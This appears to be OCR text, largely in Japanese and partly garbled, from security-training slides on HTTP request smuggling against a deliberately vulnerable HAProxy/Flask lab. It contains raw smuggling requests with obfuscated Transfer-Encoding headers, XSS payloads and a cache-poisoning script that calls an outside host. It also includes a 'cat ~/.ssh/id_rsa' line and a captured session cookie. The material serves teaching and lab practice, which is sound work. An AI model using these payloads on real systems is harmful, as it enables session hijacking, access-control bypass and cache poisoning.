&« C' @ https://cs.github.com/?scopeName=All+repos&scope=8&q=where+UPPER%28email%29 @ a f % & 8 » O O :

O Allrepos  Q  where UPPER(email) ®

‘ benjajaja/crossfit03180 > api/routes/Auth.php 2 matches PHP ¥ master

iction post($req, $res) {
isers = $GLOBALS['db']->GetAll(
'SELECT id, nombre, bonos FROM usuarios WHERE UPPER(email) = UPPER(?) AND pass = UNHEX(SHA1(?)) LII
[
$req->data['user'],
$GLOBALS['db']—>_salt . $req—>datal'password']
o highlowapp/highlowbackend > services/Auth.py 12 matches = Python ¥ master
= conn.cursor()
1e relevant user(s)
execute("SELECT firstname, lastname, uid, email FROM users WHERE UPPER(email)='" + email.upper() + "';")

cursor. fetchone()

: and close the connection

- & - — = = . e = B o0
https://cs.github.com/highlowapp/highlowbackend/blob/e1dd1e7e3137e6e61a4be69247f4a331837b6f60/services/Auth.py?g=where+UPPER%28email%29#L445 ter

H 8 https://cs.github.com/?scopeName=All+repos&scope=&g=where+UPPER%28email%29



postgres=# CREATE TABLE users(email TEXT);
CREATE TABLE

postgres=# INSERT INTO users VALUES ('admin@security.camp');
INSERT 0 1

postgres=# SELECT * FROM users WHERE email ILIKE 'ADMIN@SECURiTY.CAMP';
email

ILIKE Tl il=

postgres=# SELECT * FROM users WHERE UPPER(email) = UPPER('ADMIN@SECUR1TY.CAMP');
email

admin@security.camp UPPER(i) = UPPER(z)

select '&' ILIKE '@', UPPER('&') = UPPER('®');
?column? | ?column?

f | f [XIE 0 TEAEL




BEIT

o DBLAVMZH . —ER 7ML AT Ll Case Insensitive

o macoSPWindowsTlE, TIAILETIZAILB D RXFINTFED R FIZRLN
o Linux(5.2LAf&) THEXT4TCase Insensitive’d T AL I8 ) DB MEN S

o 4FIZmacOSTIE s =[(U+017F)
o  macOSDWebH—/\%G5, FIRSN=T7MILICRET VA TERY .2

cat ~/.ssh/id_rsa

cat ~/.fh/id_rla
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o WEFZEICHMNDOD, EIFICHEZHLTHELD
o HHF IR

o 1. HTTP Request SmugglingM & BA
o 2.HTTP Request SmugglingZ#|FALI-WEED/\> XA

m  https://github.com/Nolzy/camp.app4

o F&H



https://github.com/No1zy/camp.app4

Cased: HT TP Request Header



https://github.com/No1zy/camp.app4



> docker-compose up



Content-Length&Transfer-Encoding: chunked

JOTIRNDRTERERT EMTEDAYS
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Transfer-Encoding: chunked

o T—HRETEMIDLFVYIVELTEIETD

o FYUUDmRMIZIEIT—ADEZ(16EFH) \r\nZi2BL T,
T DRIZT—3E 5 hife<

o FYUUDZRBRIEIEINODFrooELTREND



AR o N
—— l::l!!|IIIIIII-')»I::l!!
TR FIYr—sa

POST / HTTP/1.1
Transfer-Encoding: chunked

(Fr o0 T—2DRI(16EE) 1\r\n
 T—42 ]\r\n
(F 0 T—2DORI(16EE) 1\r\n
T—42 1\r\n

B\r\n
\r\n



- O T

TR FIYr—sa

Transfer-Encoding: chunked

1 /] T—2DREI(16EH)
A/l T—4

© // chunked data®df&T
\r\n



T

TR FIYr—sa

Transfer-Encoding: chunked
Content-Length: 14

1
A
0

XXX



RFC9112 6.3. Message Body Length

3. If a message is received with both a Transfer-Encoding and a Content-Length
header field, the Transfer-Encoding overrides the Content-Length. Such a message
might indicate an attempt to perform request smuggling (Section 11.2) or response
splitting (Section 11.1) and ought to be handled as an error. An intermediary that
chooses to forward the message MUST first remove the received Content-Length
field and process the Transfer-Encoding (as described below) prior to forwarding the
message downstream.

Hi B https://datatracker.ietf.org/doc/html/rfc9112
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Transfer-Encoding: chunked [*E

Content-Length: 14
1
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0

XXX
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Transfer-Encoding: chunked Fig?ggﬁg@w:&é

Content—tength—i4

1
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Transfer-Encoding: chunked

1
A
0
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TR FIYr—sa

Transfer-Encoding[\x20]: chunked
Content-Length: 14

1
A
0

XXX



HTTP Request Smuggling



HTTP Request Smuggling

HAD))TAMZBIDHTTPY VTR MEIED AL THO=Y)

BORENTUITAMINVIIURDY —EXTHRENDT=H . 7V EXHIRDE
B ERRRIEERBICERT S

4 [A]lXContent-Length. Transfer-Encoding: chunked MBI ICI EESNT-FF. £ —EX
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HTTP Request Smuggling

Content-Length&Transfer-Encoding i A DM EESNT=U I T RN EFEE T ShH.
Transfer-EncodingD & 12> TU U T AR ALIESI N H(RFCI112)

Transfer-Encoding[\x20]: chunked%>Transfer-Encoding: [\xOb]chunked @ &7 &
whitespaceZi E DA DEBERIEA YA DNIEESNT-BEFDZEE)E...?
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[\x20]
Content-Length: 14

1
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XXX
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Transfer-Encoding[\x20]: chunked

[ POST /
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[ —Dp e

[ Jnxs
[POST/ /ﬁ POST /
. - N
Transfer-Encoding[\x20]: chunked XXX

1
A
0

XXX m— 05T R LTI



1 POST / HTTP/1.1

Host: example.com

Connection: keep-alive
Transfer-Encoding[\x20]: chunked
Content-Length: 14 Joxs

1
A 4
0 @ | PoST/

/N

J

XXX ) /SN
J

@ [POST/

@ | GET/ XXXGET / HTTP/1.1

@ Host: example.com

GET / HTTP/1.1
@

Host: example.com



POST / HTTP/1.1

Host: example.com

Connection: keep-alive
Transfer-Encoding[\x20]: chunked
Content-Length: 55 Joxs

1
g - N
@ | posT/ @ [POST/
GET /smuggled HTTP/1.1 S g
A: - N
@ GET/ GET /smuggled HTTP/1.1
J

@ | A:GET / HTTP/1.1
Host: example.com

GET / HTTP/1.1
@

Host: example.com



test @testzzzz

C cake

0

GET /HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101
Firefox/66.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,/;0=0.8
Accept-Language: en-US,en;q=0.5

Referer:

Profile Cards

= Activity

No actions in the last 30 days

Load More Activity

HH B
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn




-GO ' APACHE

Apache Tomcat HTTP SERVER PROJECT
CVE-2019-16276 - -
CVE-2019-17569 CVE-2022-22720
CVE-2020-1935
suarRoxy  mede
CVE-2019-18277 CVE-2020-8201

CVE-2021-40346



docker-compose up T=7=7?



http://localhost:30080/login

Please sign in

eeeeeeee
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° /users/<int:user_id>

1—97074—ILEE

TIAR— Ay tE—CFESEEDHEETAE
. Jusers/<int:user_id>/edit

aA—H7O7—)LiRE
o Jusers/<int:user_id>/report

EEEITI—YERR

W% EEENLZ I OTOTA—ILIZTIERTD
o /private_message

AT A A— Y OHNEETEL Ay t—C BB A
° /debug
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proxy/haproxy.cfg

backend web TOXL &Ny TURR
http-reuse always DEHAEICEFIRASH
server web1 backend:8000 HEIIZ75H

http-request cache-use mycache if { path_beg /static/ }
http-response cache-store mycache



proxy/Dockerfile

# CVE-2019-18277
FROM haproxy:1.9.160
COPY haproxy.cfg /usr/local/etc/haproxy/haproxy.cfg



CVE-2019-18277

Transfer-Encoding:[\xOc]chunked M &2 Z[\x20]D KX H YIZH| Dwhite spaceZxiE AT S
& haproxyldTransfer-Encoding&E L CTRBEE T IS/ NI I URIZEDEFEELTLED

A0 Z Thttp-reuse alwaysIZ&>TTAF L ET T r—2a  BOEGENEICERI HASN
TL%

https://cbonte.github.io/haproxy-dconv/1.9/configuration.html#4.2-http-reuse
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Content-Length: 14
1
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XXX
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pA=ES
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Transfer-Encoding:[\x0c]chunked

[ POST /
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[ —Dp e

[ Jnxs
[POST/ /ﬁ POST /
. - N
Transfer-Encoding:[\x0c]chunked XXX

1
A
0

XXX — x0yHTR L TRE



1 POST / HTTP/1.1

Host: example.com

Connection: keep-alive
Transfer-Encoding:[\x0c]chunked
Content-Length: 14 Joxs

1
A 4
0 @ | PoST/

/N

J

XXX ) /SN
J

@ [POST/

@ | GET/ XXXGET / HTTP/1.1

@ Host: example.com

GET / HTTP/1.1
@

Host: example.com



7TV r—ay

[ POST / /ﬁ POST /

e N

GET /smuggled

& J

—— D)

GET /smuggled HTTP/1.1
Host: example.com



POST / HTTP/1.1
Host: example.com

A
Connection: keep-alive m

Transfer-Encoding:[\x0c]chunked
Content-Length: 55 Joxs

1
A 4
0

@ | PosT/

/N
) /!

@ [POST/

GET /smuggled HTTP/1.1
A: p

@ GET/ GET /smuggled HTTP/1.1
- @ | A:GET / HTTP/1.1
Host: example.com

.

@ GET / HTTP/1.1
Host: example.com

AMDYITARELT

BHRALENTES
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proxy/haproxy.cfg

frontend http
bind *:3000
timeout client 5s
timeout http-request 10s
default_backend web
http-request deny if { path,url_dec -i -m reg */*debug$ }



backend/sample_app/app.py

@app.route('/debug’', methods=['GET', 'POST'])
@csrf.exempt
def debug():

headers = {}
for header in request.headers:

headers[header[0]] = header[1]

return jsonify(body=request.form, headers=headers)



4

EBIZTOLALI-EE

GET /debug HTTP/1.1
Host: localhost:30086 403 Forbidden

¢ S
JR¥ FIr—ay

HTTP/1.0 463 Forbidden
Cache-Control: no-cache
Connection: close
Content-Type: text/html




JOTRMRR T BRIILIZ5E

GET / HTTP/1.1

Host: localhost:300860
Transfer-Encoding:[\x0c]chunked
Content-Length: ..

GET /
GET /debug HTTP/1.1 GET /debug
A:
ﬁ ﬁ AR,
3 A% FIYr—say
GET/

HTTP/1.0 403 Forbidden DL AR GET /debugld
Cache-Control: no-cache - BB
Connection: close FF

Content-Type: text/html



JOTRMRR T BRIILIZ5E

GET / HTTP/1.1 GET /debug
Host: localhost:30080

'-----*..’ l......#'bal..-k
«1'*----- S

<1'llllllllllllll

7I)r—ay

Joxd

GET /debug
HTTP/1.1 20808 OK DLAFRUR GET /debug HTTP/1.1
A:

Server: gunicorn
Content-Type: application/json
Content-Length: 2064

{...}



PoCZELVTH LD

o /debug~NDT I EAFIRZFREELT/\NVIIURIZ) DT RMEEEL
THES

BRIMLI=5AR 91— 3y k& DiscordDiEEHZEF v R IL TEHTL &0



Challenge

1. BEEOUIIANEZRAT,. THIVRERELSIY, T5AR—FAy—D% 5

2. Self XSSEMAEHETEBEDITY ETavaScriptxEITLED

3. Cache Poisoningt#lAEH B TEIEE DavaScriptZ7 7ML or CSST7AILEHEEZEDELDIZT U
AZE&D

X1 TRRDHost N YA Zproxy:30001CLIEWEEBENT IR TEI7MILDF vy 1EFLTETHOVDTEE

BWENBILI=DRIY)—2 3y 8DiscordDEZRF v R IL TELTLIEEELY

@nolzy(B2:5EM) @tyage(B2:EEM)



Challenge 1: )T A+DER



backend/sample_app/app.py

@app.route( ' /users/<int:user_id>', methods=['GET'])
@login_required
def show_user(user_id):
user = User.query.filter_by(id=user_id).first()
return render_template('users/show.html', user=user)



backend/sample_app/templates/users/show.html

<h5 class="mt-2 mb-0" id="username">{{ user.username }}</h5>
{% if current_user.id == user.id %}

<span>{{ user.private_message }}</span>
{% endif %}

<div class="px-4 mt-1">



backend/sample_app/app.py

def update_user(user_id):
elif request.method == "POST":
username = request.form.get( 'username')

private_message = request.form.get('private_message')
profile = request.form.get('profile")

if profile:
user.profile = profile

db.session.commit()
return redirect(f'/users/{user_id}")



backend/sample_app/models/models.py

class User(db.Model, UserMixin):
__tablename__ = "users"

id = db.Column(db.Integer, primary_key=True)

username = db.Column(db.String(560), nullable=False, unique=True)
password = db.Column(db.String(25))

profile = db.Column(db.String(1660))

private_message = db.Column(db.String(160))

role = db.Column(db.Integer())
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GET / HTTP/1.1

Host: 127.0.0.1:30080

Cookie: session=<BE%®session>
Connection: keep-alive
Transfer-Encoding:[\x0c]chunked
Content-Length: 385

1
A
0

POST /users/2/edit HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Cookie: session=<B%®session>

Content-Length: 825 <:>

GET /users/2/edit

csrf_token=...&username=test&private_message=test&profile=

GET /users/2/edit HTTP/1.1
Host: localhost:30080 @
Cookie: session=<EEEMDsession>

POST /users/2/edit

Content-Type:

...&profile=GET
/users/2/edit HTTP/1.1
Host: localhost:30080
Cookie: session=<EIHEE®D

\\iession>...

~

/




test
test

GET Jusers/2 HTTP/1.1 Host: proxy:3000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux aarch64)
AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml
xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-
Encoding: gzip, deflate Accept-Language: en-US Cookie:
session=.eJwljjtqgAOEQBe8ysYPunf7M6DLLOA8Jgw27UmR8d61xUMEreFA_ba8jz3u7PY9XfrT9Ee3WOVIYyEVUGZDJYLmzRBaav
qRwO0OwW8nJ7kgHTOdgNAsjUUrLAzc2U2XzlhQXhVAM2QACVSSVYN5KjMu9EjfkmrwUszbrgeOKeZ15_Nf8TT-
P2p_fn_I1CRphnMNyRJWMHOAYXxFydo8C5rxGbErTfNzkYQIw.YuLJbA.vpIDmrMvxro_kj4xmU5RmwU86cU




admin
Flag{hogehoge}

I'm Admin!



Challenge 2: Self XSS A EHES



backend/sample_app/app.py

@app.route('/users/<int:user_id>/edit', methods=['GET', 'POST'])
@login_required
def update_user(user_id):
if user_id != current_user.id:
flash('Forbidden...")
return redirect('error.html')

if request.method == "GET":
user = User.query.filter_by(id=user_id).first()

return render_template('users/edit.html', user=user)

elif request.method == "POST":

user = User.query.filter_by(id=user_id).first()
if username:

if User.query.filter(User.id != user_id, User.username == username).count() > 0:
flash('already user exists...')

return render_template('users/edit.html', user=user)

user.username = username

db.session.commit()
return redirect(f'/users/{user_id}")



backend/sample_app/templates/users/edit.html

</div>
<div class="col-12">
<label for="profile" class="form-label">Profile</label>
<textarea name="profile" class="form-control"” id="profile">{{ user.profile | safe }}</textarea>

</div>

</div>

</textarea><script>alert(1)</script>




Jusers/<user_id>/edit®Self XSS

@® localhost:30080/users/2/edit

localhost:30080 DA
1




backend/sample_app/app.py

def update_user(user_id):
elif request.method == "POST":

username = request.form.get('username')
private_message = request.form.get('private_message')

profile = request.form.get('profile’)

user = User.query.filter_by(id=user_id).first()
if username:
if User.query.filter(User.id != user_id, User.username == username).count() > 0:
flash('already user exists...')

return render_template('users/edit.html', user=user)

BRICEHREIN TSI —HRIZERLLIET

BHEIS—ELLTHREBBERNRTIND




it profile

already user exists...
Username
test

Private message

test

Profile

Update
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XSS payloadZ#&E A
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localhost:30080 DAA
1




@ GET / HTTP/1.1

Host: 127.0.0.1:30080

Cookie: session=<B#H®session>
Connection: keep-alive
Transfer-Encoding:[\x0c]chunked
Content-Length: 385

1
A
0

POST /users/2/edit HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Cookie: session=<H%®session>

Content-Length: 3806 <:>

GET /users/2

. . . N
csrf_token=...&username=admin&private_message=test&profile=

POST /users/2/edit
Content-Type:

@ GET Jusers/2 HTTP/1.1 @
Host: localhost:30080
Cookie: session=<EEEMDsession>

...&csrf_token=...&use
rname=admin&. . .




Challenge 3: Cache Poisoning



proxy/haproxy.cfg

cache mycache
total-max-size 10
max-object-size 100000

max-age /0

backend web

http-reuse always

/static/ L ASHAProxylZ

server web1 backend:806006 *yvyiazhd

http-request cache-use mycache if { path_beg /static/ }

http-response cache-store mycache



backend/sample_app/templates/users/show.html

<script src="/static/js/jquery.min.js"></script>

</body>



GET / HTTP/1.1

Host: localhost:30080

Cookie: session=<BH% ®MDsession>
Connection: keep-alive
Transfer-Encoding:[\x0c]chunked
Content-Length: 385

1
0

<jquery.min.jsDF¥ v v a1 %&FEETLHVIIR S

GET /static/js/jquery.min.js HTTP/1.1
Host: proxy:3000
Cookie: session=<BH% ®Dsession>

)

@

Vs

-

GET/

Fruahtis

FgSNd

Joxd

GET /static/js/jquery.min.js 1
@®
@

~

T ) r—iay

@

<jquery.min.js®OF¥ ¥y a
ERETBHIVIITRbE>




GET /static/js/jquery.min.js HTTP/1.1
Host: proxy:30600
Cookie: session=<EEEHDsession> SEgAh -

Ty azik

JREy T r—ay
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backend/sample_app/app.py

@app.route('/private_message', methods=['GET'])
@login_required
def get_private_message():

user = User.query.filter_by(id=current_user.id).first()

headers = {'Content-Type': 'text/plain'}

return Response(response=user.private_message, headers=headers, status=200)



GET /private_message HTTP/1.1
Host: localhost:300860

Connection: close

HTTP/1.1 260 OK

Server: gunicorn
Connection: close
Content-Type: text/plain
Content-Length: 16

private_message!



(:) GET / HTTP/1.1 . o
Host: localhost:30080 oy ahtis

Connection: keep-alive
Transfer-Encoding:chunked *éné

Content-Length: 131
TFVr—ay

GET/
@

1

0

GET /private_message HTTP/1.1
Cookie: session=<B%®Msession> @
A:

@ GET /static/js/jquery.min.js
C) GET /static/js/jquery.min.js HTTP/1.1 / fis/iquery !

Host: proxy:3000
Cookie: session=<BH% MDsession>

-

GET /private_message HTTP/1.1
Cookie: session=<BHH®
session>

A:

ONS




GET /static/js/jquery.min.js HTTP/1.1
Host: proxy:3000
Cookie: session=<EEZNDsession> ESINT-

Ty aziR
j—

ﬁ

«% ——y

(new Image()).src =

"http://host.docker.internal:1337/xss"”
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thread pool size:

key status:

key header names:
resp-filter:

skip vulnerable hosts:

confirmations:

include path in cachebusters:

globally swap - with _:

skip obsolete permutations:

vanilla:

spacel:

valueprefix1:

spjunk:

unispace:

contentEnc:

dualchunk:

tabsuffix:

encode:

notchunked:

spacefix1:11:

spacefix1:127:

prefix1:11:

prefix1:127:

suffix1:11:

suffix1:127:

gareth1:

multiCase:

Odwrap:

bodysplit:

poc: headerConcat:

poc: collab-header:

poc: collab-at:

only report exploitable:
Reset Visible Settings

<N H<E< N H<E N H<B B E<E N H<N<H<N<N<]

Attack Config

use key:

key content-type:
filter:

filter HTTP:

skip flagged hosts:
report tentative:
convert GET to POST:
strip CL:

ignore probable FPs:
underjoini:
nameprefix1:
vertwrap:
backslash:
commaCow:
quoted:

lazygrep:
revdualchunk:
accentTE:
spacefix1:0:
spacefix1:12:
prefix1:0:
prefix1:12:
suffix1:0:
suffix1:12:
nospacet:
badsetupCR:
tabwrap:

Odspam:

skip straight to poc:
poc: bodyConcat:

poc: collab-XFO-header:

poc: collab-blind:
risky mode:

N TEEDD=HENFI—Y

[<J<]

<]

<E N H< BN E<B<HE<B< N BB H<H<H<H<]

key method:

key server:
mimetype-filter:
timeout:

flag new domains:
include origin in cachebusters:
force method name:
pad everything:
collab-domain:
spacejoint:
nameprefix2:
connection:
spaceFF:
cowComma:
aposed:

Odsuffix:

nested:
accentCH:
spacefix1:9:
spacefix1:13:
prefix1:9:
prefix1:13:
suffix1:9:
suffix1:13:
linewrapped1:
badsetupLF:
UPPERCASE:
badwrap:

poc: G:

poc: collab:

poc: collab-abs:
use turbo for autopoc:

u2c3g31.burpcollaborator.net
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